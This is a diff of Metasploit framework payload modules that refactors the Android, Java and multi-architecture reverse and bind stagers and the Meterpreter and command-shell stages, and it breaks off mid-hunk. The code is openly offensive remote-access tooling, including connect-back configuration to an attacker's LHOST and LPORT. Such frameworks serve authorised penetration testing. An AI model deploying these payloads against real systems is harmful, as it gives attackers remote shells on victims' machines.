@ -41,8 +41,9 @@ module MetasploitModule
|
|||
], self.class)
|
||||
end
|
||||
|
||||
def generate
|
||||
stage_meterpreter(true) + generate_config
|
||||
def generate(opts={})
|
||||
opts[:stageless] = true
|
||||
stage_meterpreter(opts) + generate_config(opts)
|
||||
end
|
||||
|
||||
def generate_config(opts={})
|
||||
|
|
|
@ -40,8 +40,9 @@ module MetasploitModule
|
|||
], self.class)
|
||||
end
|
||||
|
||||
def generate
|
||||
stage_meterpreter(true) + generate_config
|
||||
def generate(opts={})
|
||||
opts[:stageless] = true
|
||||
stage_meterpreter(opts) + generate_config(opts)
|
||||
end
|
||||
|
||||
def generate_config(opts={})
|
||||
|
|
|
@ -5,6 +5,7 @@
|
|||
|
||||
require 'msf/core'
|
||||
require 'msf/core/handler/reverse_http'
|
||||
require 'msf/core/payload/android/reverse_http'
|
||||
require 'msf/core/payload/uuid/options'
|
||||
|
||||
module MetasploitModule
|
||||
|
@ -13,7 +14,7 @@ module MetasploitModule
|
|||
|
||||
include Msf::Payload::Stager
|
||||
include Msf::Payload::Android
|
||||
include Msf::Payload::UUID::Options
|
||||
include Msf::Payload::Android::ReverseHttp
|
||||
|
||||
def initialize(info = {})
|
||||
super(merge_info(info,
|
||||
|
@ -24,21 +25,8 @@ module MetasploitModule
|
|||
'Platform' => 'android',
|
||||
'Arch' => ARCH_DALVIK,
|
||||
'Handler' => Msf::Handler::ReverseHttp,
|
||||
'Convention' => 'javaurl',
|
||||
'Stager' => {'Payload' => ''}
|
||||
))
|
||||
end
|
||||
|
||||
#
|
||||
# Generate the transport-specific configuration
|
||||
#
|
||||
def transport_config(opts={})
|
||||
transport_config_reverse_http(opts)
|
||||
end
|
||||
|
||||
def generate_config_bytes(opts={})
|
||||
uri_req_len = 30 + luri.length + rand(256 - (30 + luri.length))
|
||||
opts[:uri] = generate_uri_uuid_mode(:init_java, uri_req_len)
|
||||
super(opts)
|
||||
end
|
||||
|
||||
end
|
||||
|
|
|
@ -5,6 +5,7 @@
|
|||
|
||||
require 'msf/core'
|
||||
require 'msf/core/handler/reverse_https'
|
||||
require 'msf/core/payload/android/reverse_https'
|
||||
require 'msf/core/payload/uuid/options'
|
||||
|
||||
module MetasploitModule
|
||||
|
@ -13,7 +14,7 @@ module MetasploitModule
|
|||
|
||||
include Msf::Payload::Stager
|
||||
include Msf::Payload::Android
|
||||
include Msf::Payload::UUID::Options
|
||||
include Msf::Payload::Android::ReverseHttps
|
||||
|
||||
def initialize(info = {})
|
||||
super(merge_info(info,
|
||||
|
@ -24,21 +25,8 @@ module MetasploitModule
|
|||
'Platform' => 'android',
|
||||
'Arch' => ARCH_DALVIK,
|
||||
'Handler' => Msf::Handler::ReverseHttps,
|
||||
'Convention' => 'javaurl',
|
||||
'Stager' => {'Payload' => ''}
|
||||
))
|
||||
end
|
||||
|
||||
#
|
||||
# Generate the transport-specific configuration
|
||||
#
|
||||
def transport_config(opts={})
|
||||
transport_config_reverse_https(opts)
|
||||
end
|
||||
|
||||
def generate_config_bytes(opts={})
|
||||
uri_req_len = 30 + luri.length + rand(256 - (30 + luri.length))
|
||||
opts[:uri] = generate_uri_uuid_mode(:init_java, uri_req_len)
|
||||
super(opts)
|
||||
end
|
||||
|
||||
end
|
||||
|
|
|
@ -3,40 +3,29 @@
|
|||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'metasploit-payloads'
|
||||
require 'msf/core'
|
||||
require 'msf/core/handler/reverse_tcp'
|
||||
require 'msf/core/payload/transport_config'
|
||||
require 'msf/base/sessions/command_shell'
|
||||
require 'msf/base/sessions/command_shell_options'
|
||||
require 'msf/core/payload/android/reverse_tcp'
|
||||
|
||||
module MetasploitModule
|
||||
|
||||
CachedSize = :dynamic
|
||||
|
||||
include Msf::Payload::Stager
|
||||
include Msf::Payload::TransportConfig
|
||||
include Msf::Payload::Android
|
||||
include Msf::Payload::UUID::Options
|
||||
include Msf::Payload::Android::ReverseTcp
|
||||
|
||||
def initialize(info = {})
|
||||
super(merge_info(info,
|
||||
'Name' => 'Android Reverse TCP Stager',
|
||||
'Description' => 'Connect back stager',
|
||||
'Author' => ['timwr', 'OJ Reeves'],
|
||||
'License' => MSF_LICENSE,
|
||||
'Platform' => 'android',
|
||||
'Arch' => ARCH_DALVIK,
|
||||
'Handler' => Msf::Handler::ReverseTcp,
|
||||
'Stager' => {'Payload' => ''}
|
||||
))
|
||||
'Name' => 'Android Reverse TCP Stager',
|
||||
'Description' => 'Connect back stager',
|
||||
'Author' => ['mihi', 'egypt'],
|
||||
'License' => MSF_LICENSE,
|
||||
'Platform' => 'android',
|
||||
'Arch' => ARCH_DALVIK,
|
||||
'Handler' => Msf::Handler::ReverseTcp,
|
||||
'Convention' => 'javasocket',
|
||||
'Stager' => {'Payload' => ''}
|
||||
))
|
||||
end
|
||||
|
||||
#
|
||||
# Generate the transport-specific configuration
|
||||
#
|
||||
def transport_config(opts={})
|
||||
transport_config_reverse_tcp(opts)
|
||||
end
|
||||
|
||||
end
|
||||
|
|
|
@ -5,58 +5,27 @@
|
|||
|
||||
require 'msf/core'
|
||||
require 'msf/core/handler/bind_tcp'
|
||||
require 'msf/base/sessions/command_shell'
|
||||
require 'msf/base/sessions/command_shell_options'
|
||||
require 'msf/core/payload/java/bind_tcp'
|
||||
|
||||
module MetasploitModule
|
||||
|
||||
CachedSize = 5105
|
||||
CachedSize = 5118
|
||||
|
||||
include Msf::Payload::Stager
|
||||
include Msf::Payload::Java
|
||||
include Msf::Payload::Java::BindTcp
|
||||
|
||||
def initialize(info = {})
|
||||
def initialize(info={})
|
||||
super(merge_info(info,
|
||||
'Name' => 'Java Bind TCP Stager',
|
||||
'Description' => 'Listen for a connection',
|
||||
'Author' => [
|
||||
'mihi', # all the hard work
|
||||
'egypt', # msf integration
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'Platform' => 'java',
|
||||
'Arch' => ARCH_JAVA,
|
||||
'Handler' => Msf::Handler::BindTcp,
|
||||
'Convention' => 'javasocket',
|
||||
'Stager' => {'Payload' => ""}
|
||||
))
|
||||
|
||||
register_advanced_options(
|
||||
[
|
||||
Msf::OptString.new('AESPassword', [ false, "Password for encrypting communication", '' ]),
|
||||
Msf::OptInt.new('Spawn', [ true, "Number of subprocesses to spawn", 2 ])
|
||||
], self.class
|
||||
)
|
||||
|
||||
@class_files = [ ]
|
||||
'Name' => 'Java Bind TCP Stager',
|
||||
'Description' => 'Listen for a connection',
|
||||
'Author' => ['mihi', 'egypt'],
|
||||
'License' => MSF_LICENSE,
|
||||
'Platform' => 'java',
|
||||
'Arch' => ARCH_JAVA,
|
||||
'Handler' => Msf::Handler::BindTcp,
|
||||
'Convention' => 'javasocket',
|
||||
'Stager' => {'Payload' => ''}
|
||||
))
|
||||
end
|
||||
|
||||
def config
|
||||
spawn = datastore["Spawn"] || 2
|
||||
c = ""
|
||||
c << "Spawn=#{spawn}\n"
|
||||
pass = datastore["AESPassword"] || ""
|
||||
if pass != ""
|
||||
c << "AESPassword=#{pass}\n"
|
||||
@class_files = [
|
||||
[ "metasploit", "AESEncryption.class" ],
|
||||
]
|
||||
else
|
||||
@class_files = [ ]
|
||||
end
|
||||
c << "LPORT=#{datastore["LPORT"]}\n" if datastore["LPORT"]
|
||||
|
||||
c
|
||||
end
|
||||
|
||||
end
|
||||
|
|
|
@ -5,6 +5,7 @@
|
|||
|
||||
require 'msf/core'
|
||||
require 'msf/core/handler/reverse_http'
|
||||
require 'msf/core/payload/java/reverse_http'
|
||||
|
||||
module MetasploitModule
|
||||
|
||||
|
@ -12,58 +13,19 @@ module MetasploitModule
|
|||
|
||||
include Msf::Payload::Stager
|
||||
include Msf::Payload::Java
|
||||
include Msf::Payload::Java::ReverseHttp
|
||||
|
||||
def initialize(info = {})
|
||||
def initialize(info={})
|
||||
super(merge_info(info,
|
||||
'Name' => 'Java Reverse HTTP Stager',
|
||||
'Description' => 'Tunnel communication over HTTP',
|
||||
'Author' => [
|
||||
'mihi', # all the hard work
|
||||
'egypt', # msf integration
|
||||
'hdm', # windows/reverse_http
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'Platform' => 'java',
|
||||
'Arch' => ARCH_JAVA,
|
||||
'Handler' => Msf::Handler::ReverseHttp,
|
||||
'Convention' => 'javaurl',
|
||||
'Stager' => {'Payload' => ""}
|
||||
))
|
||||
|
||||
register_advanced_options(
|
||||
[
|
||||
Msf::OptInt.new('Spawn', [ true, "Number of subprocesses to spawn", 2 ])
|
||||
], self.class
|
||||
)
|
||||
|
||||
@class_files = [ ]
|
||||
end
|
||||
|
||||
def config
|
||||
# Default URL length is 30-256 bytes
|
||||
uri_req_len = 30 + luri.length + rand(256 - (30 + luri.length))
|
||||
|
||||
# Generate the short default URL if we don't know available space
|
||||
if self.available_space.nil?
|
||||
uri_req_len = 5
|
||||
end
|
||||
|
||||
spawn = datastore["Spawn"] || 2
|
||||
c = ""
|
||||
c << "Spawn=#{spawn}\n"
|
||||
c << "URL=http://#{datastore["LHOST"]}"
|
||||
c << ":#{datastore["LPORT"]}" if datastore["LPORT"]
|
||||
c << "#{luri}"
|
||||
c << generate_uri_uuid_mode(:init_java, uri_req_len)
|
||||
c << "\n"
|
||||
|
||||
c
|
||||
end
|
||||
|
||||
#
|
||||
# Always wait at least 20 seconds for this payload (due to staging delays)
|
||||
#
|
||||
def wfs_delay
|
||||
20
|
||||
'Name' => 'Java Reverse HTTP Stager',
|
||||
'Description' => 'Tunnel communication over HTTP',
|
||||
'Author' => ['mihi', 'egypt', 'hdm'],
|
||||
'License' => MSF_LICENSE,
|
||||
'Platform' => 'java',
|
||||
'Arch' => ARCH_JAVA,
|
||||
'Handler' => Msf::Handler::ReverseHttp,
|
||||
'Convention' => 'javaurl',
|
||||
'Stager' => {'Payload' => ''}
|
||||
))
|
||||
end
|
||||
end
|
||||
|
|
|
@ -6,6 +6,7 @@
|
|||
require 'msf/core'
|
||||
require 'msf/core/handler/reverse_https'
|
||||
require 'msf/core/payload/uuid/options'
|
||||
require 'msf/core/payload/java/reverse_https'
|
||||
|
||||
module MetasploitModule
|
||||
|
||||
|
@ -13,61 +14,19 @@ module MetasploitModule
|
|||
|
||||
include Msf::Payload::Stager
|
||||
include Msf::Payload::Java
|
||||
include Msf::Payload::UUID::Options
|
||||
include Msf::Payload::Java::ReverseHttps
|
||||
|
||||
def initialize(info = {})
|
||||
super(merge_info(info,
|
||||
'Name' => 'Java Reverse HTTPS Stager',
|
||||
'Description' => 'Tunnel communication over HTTPS',
|
||||
'Author' => [
|
||||
'mihi', # all the hard work
|
||||
'egypt', # msf integration
|
||||
'hdm', # windows/reverse_https
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'Platform' => 'java',
|
||||
'Arch' => ARCH_JAVA,
|
||||
'Handler' => Msf::Handler::ReverseHttps,
|
||||
'Convention' => 'javaurl',
|
||||
'Stager' => {'Payload' => ""}
|
||||
'Name' => 'Java Reverse HTTPS Stager',
|
||||
'Description' => 'Tunnel communication over HTTPS',
|
||||
'Author' => ['mihi', 'egypt', 'hdm',],
|
||||
'License' => MSF_LICENSE,
|
||||
'Platform' => 'java',
|
||||
'Arch' => ARCH_JAVA,
|
||||
'Handler' => Msf::Handler::ReverseHttps,
|
||||
'Convention' => 'javaurl',
|
||||
'Stager' => {'Payload' => ''}
|
||||
))
|
||||
|
||||
register_advanced_options(
|
||||
[
|
||||
Msf::OptInt.new('Spawn', [ true, "Number of subprocesses to spawn", 2 ])
|
||||
], self.class
|
||||
)
|
||||
|
||||
@class_files = [
|
||||
[ "metasploit", "PayloadTrustManager.class" ],
|
||||
]
|
||||
end
|
||||
|
||||
def config
|
||||
# Default URL length is 30-256 bytes
|
||||
uri_req_len = 30 + rand(256-30)
|
||||
|
||||
# Generate the short default URL if we don't know available space
|
||||
if self.available_space.nil?
|
||||
uri_req_len = 5
|
||||
end
|
||||
|
||||
spawn = datastore["Spawn"] || 2
|
||||
c = ""
|
||||
c << "Spawn=#{spawn}\n"
|
||||
c << "URL=https://#{datastore["LHOST"]}"
|
||||
c << ":#{datastore["LPORT"]}" if datastore["LPORT"]
|
||||
c << "#{luri}"
|
||||
c << generate_uri_uuid_mode(:init_java, uri_req_len)
|
||||
c << "\n"
|
||||
|
||||
c
|
||||
end
|
||||
|
||||
#
|
||||
# Always wait at least 20 seconds for this payload (due to staging delays)
|
||||
#
|
||||
def wfs_delay
|
||||
20
|
||||
end
|
||||
end
|
||||
|
|
|
@ -5,8 +5,7 @@
|
|||
|
||||
require 'msf/core'
|
||||
require 'msf/core/handler/reverse_tcp'
|
||||
require 'msf/base/sessions/command_shell'
|
||||
require 'msf/base/sessions/command_shell_options'
|
||||
require 'msf/core/payload/java/reverse_tcp'
|
||||
|
||||
module MetasploitModule
|
||||
|
||||
|
@ -14,54 +13,19 @@ module MetasploitModule
|
|||
|
||||
include Msf::Payload::Stager
|
||||
include Msf::Payload::Java
|
||||
include Msf::Payload::Java::ReverseTcp
|
||||
|
||||
def initialize(info = {})
|
||||
def initialize(info={})
|
||||
super(merge_info(info,
|
||||
'Name' => 'Java Reverse TCP Stager',
|
||||
'Description' => 'Connect back stager',
|
||||
'Author' => [
|
||||
'mihi', # all the hard work
|
||||
'egypt', # msf integration
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'Platform' => 'java',
|
||||
'Arch' => ARCH_JAVA,
|
||||
'Handler' => Msf::Handler::ReverseTcp,
|
||||
'Convention' => 'javasocket',
|
||||
'Stager' => {'Payload' => ""}
|
||||
))
|
||||
|
||||
register_advanced_options(
|
||||
[
|
||||
Msf::OptString.new('AESPassword', [ false, "Password for encrypting communication", '' ]),
|
||||
Msf::OptInt.new('Spawn', [ true, "Number of subprocesses to spawn", 2 ])
|
||||
], self.class
|
||||
)
|
||||
|
||||
@class_files = [ ]
|
||||
'Name' => 'Java Reverse TCP Stager',
|
||||
'Description' => 'Connect back stager',
|
||||
'Author' => ['mihi', 'egypt'],
|
||||
'License' => MSF_LICENSE,
|
||||
'Platform' => 'java',
|
||||
'Arch' => ARCH_JAVA,
|
||||
'Handler' => Msf::Handler::ReverseTcp,
|
||||
'Convention' => 'javasocket',
|
||||
'Stager' => {'Payload' => ''}
|
||||
))
|
||||
end
|
||||
|
||||
def include_send_uuid
|
||||
false
|
||||
end
|
||||
|
||||
def config
|
||||
spawn = datastore["Spawn"] || 2
|
||||
c = ""
|
||||
c << "Spawn=#{spawn}\n"
|
||||
pass = datastore["AESPassword"] || ""
|
||||
if pass != ""
|
||||
c << "AESPassword=#{pass}\n"
|
||||
@class_files = [
|
||||
[ "metasploit", "AESEncryption.class" ],
|
||||
]
|
||||
else
|
||||
@class_files = [ ]
|
||||
end
|
||||
c << "LHOST=#{datastore["LHOST"]}\n" if datastore["LHOST"]
|
||||
c << "LPORT=#{datastore["LPORT"]}\n" if datastore["LPORT"]
|
||||
|
||||
c
|
||||
end
|
||||
|
||||
end
|
||||
|
|
|
@ -0,0 +1,31 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/handler/reverse_http'
|
||||
require 'msf/core/payload/multi/reverse_http'
|
||||
|
||||
module MetasploitModule
|
||||
|
||||
CachedSize = 0
|
||||
|
||||
include Msf::Payload::Stager
|
||||
include Msf::Payload::Multi
|
||||
include Msf::Payload::Multi::ReverseHttp
|
||||
|
||||
def initialize(info = {})
|
||||
super(merge_info(info,
|
||||
'Name' => 'Reverse HTTP Stager (Mulitple Architectures)',
|
||||
'Description' => 'Tunnel communication over HTTP',
|
||||
'Author' => 'OJ Reeves',
|
||||
'License' => MSF_LICENSE,
|
||||
'Platform' => ['multi'],
|
||||
'Arch' => ARCH_ALL,
|
||||
'Handler' => Msf::Handler::ReverseHttp,
|
||||
'Stager' => {'Payload' => ''},
|
||||
'Convention' => 'http'))
|
||||
end
|
||||
|
||||
end
|
|
@ -0,0 +1,31 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/handler/reverse_https'
|
||||
require 'msf/core/payload/multi/reverse_https'
|
||||
|
||||
module MetasploitModule
|
||||
|
||||
CachedSize = 0
|
||||
|
||||
include Msf::Payload::Stager
|
||||
include Msf::Payload::Multi
|
||||
include Msf::Payload::Multi::ReverseHttps
|
||||
|
||||
def initialize(info={})
|
||||
super(merge_info(info,
|
||||
'Name' => 'Reverse HTTPS Stager (Mulitple Architectures)',
|
||||
'Description' => 'Tunnel communication over HTTPS',
|
||||
'Author' => 'OJ Reeves',
|
||||
'License' => MSF_LICENSE,
|
||||
'Platform' => ['multi'],
|
||||
'Arch' => ARCH_ALL,
|
||||
'Handler' => Msf::Handler::ReverseHttps,
|
||||
'Stager' => {'Payload' => ''},
|
||||
'Convention' => 'https'
|
||||
))
|
||||
end
|
||||
end
|
|
@ -26,5 +26,4 @@ module MetasploitModule
|
|||
'Handler' => Msf::Handler::ReverseHttp,
|
||||
'Convention' => 'sockedi http'))
|
||||
end
|
||||
|
||||
end
|
||||
|
|
|
@ -25,8 +25,7 @@ module MetasploitModule
|
|||
'Arch' => ARCH_X86,
|
||||
'Handler' => Msf::Handler::ReverseTcp,
|
||||
'Convention' => 'sockedi',
|
||||
'Stager' => { 'RequiresMidstager' => false }
|
||||
'Stager' => {'RequiresMidstager' => false}
|
||||
))
|
||||
end
|
||||
|
||||
end
|
||||
|
|
|
@ -5,67 +5,30 @@
|
|||
|
||||
require 'msf/core'
|
||||
require 'msf/core/payload/android'
|
||||
require 'msf/core/payload/android/meterpreter_loader'
|
||||
require 'msf/base/sessions/meterpreter_android'
|
||||
require 'msf/base/sessions/meterpreter_options'
|
||||
require 'rex/payloads/meterpreter/config'
|
||||
|
||||
|
||||
module MetasploitModule
|
||||
|
||||
include Msf::Payload::Android::MeterpreterLoader
|
||||
include Msf::Sessions::MeterpreterOptions
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Android Meterpreter',
|
||||
'Description' => 'Run a meterpreter server on Android',
|
||||
'Author' => ['mihi', 'egypt', 'anwarelmakrahy', 'OJ Reeves'],
|
||||
'Platform' => 'android',
|
||||
'Arch' => ARCH_DALVIK,
|
||||
'License' => MSF_LICENSE,
|
||||
'Session' => Msf::Sessions::Meterpreter_Java_Android
|
||||
'Name' => 'Android Meterpreter',
|
||||
'Description' => 'Run a meterpreter server in Android',
|
||||
'Author' => ['mihi', 'egypt', 'OJ Reeves'],
|
||||
'Platform' => 'android',
|
||||
'Arch' => ARCH_DALVIK,
|
||||
'PayloadCompat' => {'Convention' => 'javasocket javaurl'},
|
||||
'License' => MSF_LICENSE,
|
||||
'Session' => Msf::Sessions::Meterpreter_Java_Android
|
||||
))
|
||||
|
||||
register_options([
|
||||
OptBool.new('AutoLoadAndroid', [true, "Automatically load the Android extension", true])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
#
|
||||
# Override the Payload::Android version so we can load a prebuilt jar to be
|
||||
# used as the final stage
|
||||
#
|
||||
def generate_stage(opts={})
|
||||
clazz = 'androidpayload.stage.Meterpreter'
|
||||
metstage = MetasploitPayloads.read("android", "metstage.jar")
|
||||
met = MetasploitPayloads.read("android", "meterpreter.jar")
|
||||
|
||||
# Name of the class to load from the stage, the actual jar to load
|
||||
# it from, and then finally the meterpreter stage
|
||||
blocks = [
|
||||
java_string(clazz),
|
||||
java_string(metstage),
|
||||
java_string(met),
|
||||
java_string(generate_config(opts))
|
||||
]
|
||||
|
||||
(blocks + [blocks.length]).pack('A*' * blocks.length + 'N')
|
||||
end
|
||||
|
||||
def generate_config(opts={})
|
||||
opts[:uuid] ||= generate_payload_uuid
|
||||
|
||||
# create the configuration block, which for staged connections is really simple.
|
||||
config_opts = {
|
||||
ascii_str: true,
|
||||
arch: opts[:uuid].arch,
|
||||
expiration: datastore['SessionExpirationTimeout'].to_i,
|
||||
uuid: opts[:uuid],
|
||||
transports: [transport_config(opts)]
|
||||
}
|
||||
|
||||
# create the configuration instance based off the parameters
|
||||
config = Rex::Payloads::Meterpreter::Config.new(config_opts)
|
||||
|
||||
# return the XML version of it
|
||||
config.to_b
|
||||
stage_payload(opts)
|
||||
end
|
||||
end
|
||||
|
|
|
@ -5,90 +5,30 @@
|
|||
|
||||
require 'msf/core'
|
||||
require 'msf/core/payload/java'
|
||||
require 'msf/core/handler/reverse_tcp'
|
||||
require 'msf/core/payload/java/meterpreter_loader'
|
||||
require 'msf/base/sessions/meterpreter_java'
|
||||
require 'msf/base/sessions/meterpreter_options'
|
||||
|
||||
|
||||
module MetasploitModule
|
||||
|
||||
include Msf::Payload::Java::MeterpreterLoader
|
||||
include Msf::Sessions::MeterpreterOptions
|
||||
|
||||
# The stager should have already included this
|
||||
#include Msf::Payload::Java
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Java Meterpreter',
|
||||
'Description' => 'Run a meterpreter server in Java',
|
||||
'Author' => ['mihi', 'egypt', 'OJ Reeves'],
|
||||
'Platform' => 'java',
|
||||
'Arch' => ARCH_JAVA,
|
||||
'PayloadCompat' => {
|
||||
'Convention' => 'javasocket javaurl',
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Session' => Msf::Sessions::Meterpreter_Java_Java
|
||||
'Name' => 'Java Meterpreter',
|
||||
'Description' => 'Run a meterpreter server in Java',
|
||||
'Author' => ['mihi', 'egypt', 'OJ Reeves'],
|
||||
'Platform' => 'java',
|
||||
'Arch' => ARCH_JAVA,
|
||||
'PayloadCompat' => {'Convention' => 'javasocket javaurl'},
|
||||
'License' => MSF_LICENSE,
|
||||
'Session' => Msf::Sessions::Meterpreter_Java_Java
|
||||
))
|
||||
|
||||
# Order matters. Classes can only reference classes that have already
|
||||
# been sent. The last .class must implement Stage, i.e. have a start()
|
||||
# method.
|
||||
#
|
||||
# The Meterpreter.class stage is just a jar loader, not really anything
|
||||
# to do with meterpreter specifically. This payload should eventually
|
||||
# be replaced with an actual meterpreter stage so we don't have to send
|
||||
# a second jar.
|
||||
@stage_class_files = [
|
||||
[ "javapayload", "stage", "Stage.class" ],
|
||||
[ "com", "metasploit", "meterpreter", "MemoryBufferURLConnection.class" ],
|
||||
[ "com", "metasploit", "meterpreter", "MemoryBufferURLStreamHandler.class" ],
|
||||
# Must be last!
|
||||
[ "javapayload", "stage", "Meterpreter.class" ],
|
||||
]
|
||||
end
|
||||
|
||||
#
|
||||
# Override the Payload::Java version so we can load a prebuilt jar to be
|
||||
# used as the final stage; calls super to get the intermediate stager.
|
||||
#
|
||||
def generate_stage(opts={})
|
||||
met = MetasploitPayloads.read('meterpreter', 'meterpreter.jar')
|
||||
config = generate_config(opts)
|
||||
|
||||
# All of the dependencies to create a jar loader, followed by the length
|
||||
# of the jar and the jar itself, then the config
|
||||
blocks = [
|
||||
super(opts),
|
||||
[met.length, met].pack('NA*'),
|
||||
[config.length, config].pack('NA*')
|
||||
]
|
||||
|
||||
# Deliberate off by 1 here. The call to super adds a null terminator
|
||||
# so we would add 1 for the null terminate and remove one for the call
|
||||
# to super.
|
||||
block_count = blocks.length + @stage_class_files.length
|
||||
|
||||
# Pack all the magic together
|
||||
(blocks + [block_count]).pack('A*' * blocks.length + 'N')
|
||||
end
|
||||
|
||||
def generate_config(opts={})
|
||||
opts[:uuid] ||= generate_payload_uuid
|
||||
|
||||
# create the configuration block, which for staged connections is really simple.
|
||||
config_opts = {
|
||||
ascii_str: true,
|
||||
arch: opts[:uuid].arch,
|
||||
expiration: datastore['SessionExpirationTimeout'].to_i,
|
||||
uuid: opts[:uuid],
|
||||
transports: [transport_config(opts)]
|
||||
}
|
||||
|
||||
# create the configuration instance based off the parameters
|
||||
config = Rex::Payloads::Meterpreter::Config.new(config_opts)
|
||||
|
||||
# return the XML version of it
|
||||
config.to_b
|
||||
stage_payload(opts)
|
||||
end
|
||||
end
|
||||
|
|
|
@ -12,35 +12,28 @@ require 'msf/base/sessions/command_shell_options'
|
|||
|
||||
module MetasploitModule
|
||||
|
||||
# The stager should have already included this
|
||||
#include Msf::Payload::Java
|
||||
include Msf::Sessions::CommandShellOptions
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Command Shell',
|
||||
'Description' => 'Spawn a piped command shell (cmd.exe on Windows, /bin/sh everywhere else)',
|
||||
'Author' => [
|
||||
'mihi', # all the hard work
|
||||
'egypt' # msf integration
|
||||
],
|
||||
'Author' => ['mihi', 'egypt'],
|
||||
'Platform' => 'java',
|
||||
'Arch' => ARCH_JAVA,
|
||||
'PayloadCompat' =>
|
||||
{
|
||||
'Convention' => 'javasocket',
|
||||
},
|
||||
'PayloadCompat' => {'Convention' => 'javasocket'},
|
||||
'License' => MSF_LICENSE,
|
||||
'Session' => Msf::Sessions::CommandShell))
|
||||
end
|
||||
|
||||
def stage_class_files
|
||||
# Order matters. Classes can only reference classes that have already
|
||||
# been sent. The last .class must implement Stage, i.e. have a start()
|
||||
# method.
|
||||
@stage_class_files = [
|
||||
[
|
||||
[ "javapayload", "stage", "Stage.class" ],
|
||||
[ "javapayload", "stage", "StreamForwarder.class" ],
|
||||
[ "javapayload", "stage", "Shell.class" ],
|
||||
]
|
||||
end
|
||||
|
||||
end
|
||||
|
|
|
@ -154,16 +154,17 @@ module MetasploitModule
|
|||
|
||||
def generate_config(opts={})
|
||||
opts[:uuid] ||= generate_payload_uuid
|
||||
ds = opts[:datastore] || datastore
|
||||
|
||||
# create the configuration block, which for staged connections is really simple.
|
||||
config_opts = {
|
||||
:arch => opts[:uuid].arch,
|
||||
:exitfunk => nil,
|
||||
:expiration => datastore['SessionExpirationTimeout'].to_i,
|
||||
:uuid => opts[:uuid],
|
||||
:transports => [transport_config(opts)],
|
||||
:extensions => [],
|
||||
:ascii_str => true
|
||||
arch: opts[:uuid].arch,
|
||||
exitfunk: nil,
|
||||
expiration: ds['SessionExpirationTimeout'].to_i,
|
||||
uuid: opts[:uuid],
|
||||
transports: opts[:transport_config] || [transport_config(opts)],
|
||||
extensions: [],
|
||||
ascii_str: true
|
||||
}
|
||||
|
||||
# create the configuration instance based off the parameters
|
||||
|
|
|
@ -0,0 +1,78 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/base/sessions/meterpreter_multi'
|
||||
require 'msf/base/sessions/meterpreter_options'
|
||||
|
||||
###
|
||||
#
|
||||
# Injects the meterpreter server DLL via the Reflective Dll Injection payload
|
||||
# along with transport related configuration.
|
||||
#
|
||||
###
|
||||
|
||||
module MetasploitModule
|
||||
|
||||
include Msf::Sessions::MeterpreterOptions
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Architecture-Independent Meterpreter Stage',
|
||||
'Description' => 'Handle Meterpreter sessions regardless of the target arch/platform',
|
||||
'Author' => ['OJ Reeves'],
|
||||
'PayloadCompat' => {'Convention' => 'http https'},
|
||||
'License' => MSF_LICENSE,
|
||||
'Platform' => ['multi'],
|
||||
'Arch' => ARCH_ALL,
|
||||
'Session' => Msf::Sessions::Meterpreter_Multi
|
||||
))
|
||||
end
|
||||
|
||||
def stage_payload(opts={})
|
||||
return '' unless opts[:uuid]
|
||||
|
||||
## TODO: load the datastore "stuff" from the JSON file
|
||||
## and wire it into opts[:datastore].
|
||||
## and if we find an instance, hydrate based on that.
|
||||
## otherwise use some "sane defaults" as shown below.
|
||||
|
||||
c = Class.new(::Msf::Payload)
|
||||
c.include(::Msf::Payload::Stager)
|
||||
|
||||
case opts[:uuid].platform
|
||||
when 'python'
|
||||
require 'msf/core/payload/python/meterpreter_loader'
|
||||
c.include(::Msf::Payload::Python::MeterpreterLoader)
|
||||
when 'java'
|
||||
require 'msf/core/payload/java/meterpreter_loader'
|
||||
c.include(::Msf::Payload::Java::MeterpreterLoader)
|
||||
when 'android'
|
||||
require 'msf/core/payload/android/meterpreter_loader'
|
||||
c.include(::Msf::Payload::Android::MeterpreterLoader)
|
||||
when 'php'
|
||||
require 'msf/core/payload/php/meterpreter_loader'
|
||||
c.include(::Msf::Payload::Php::MeterpreterLoader)
|
||||
when 'windows'
|
||||
require 'msf/core/payload/windows/meterpreter_loader'
|
||||
if opts[:uuid].arch == ARCH_X86
|
||||
c.include(::Msf::Payload::Windows::MeterpreterLoader)
|
||||
else
|
||||
c.include(::Msf::Payload::Windows::MeterpreterLoader_x64)
|
||||
end
|
||||
else
|
||||
return ''
|
||||
end
|
||||
|
||||
second_stage = c.new()
|
||||
|
||||
# wire in the appropriate values for transport and datastore configs
|
||||
opts[:transport_config] = [transport_config(opts)]
|
||||
opts[:datastore] = datastore
|
||||
|
||||
second_stage.stage_payload(opts)
|
||||
end
|
||||
|
||||
end
|
|
@ -27,7 +27,7 @@ module MetasploitModule
|
|||
end
|
||||
|
||||
def generate_stage(opts={})
|
||||
stage_meterpreter(opts)
|
||||
stage_payload(opts)
|
||||
end
|
||||
|
||||
end
|
||||
|
|
|
@ -8,7 +8,6 @@ require 'msf/core'
|
|||
require 'msf/core/payload/windows/meterpreter_loader'
|
||||
require 'msf/base/sessions/meterpreter_x86_win'
|
||||
require 'msf/base/sessions/meterpreter_options'
|
||||
require 'rex/payloads/meterpreter/config'
|
||||
|
||||
###
|
||||
#
|
||||
|
@ -27,33 +26,9 @@ module MetasploitModule
|
|||
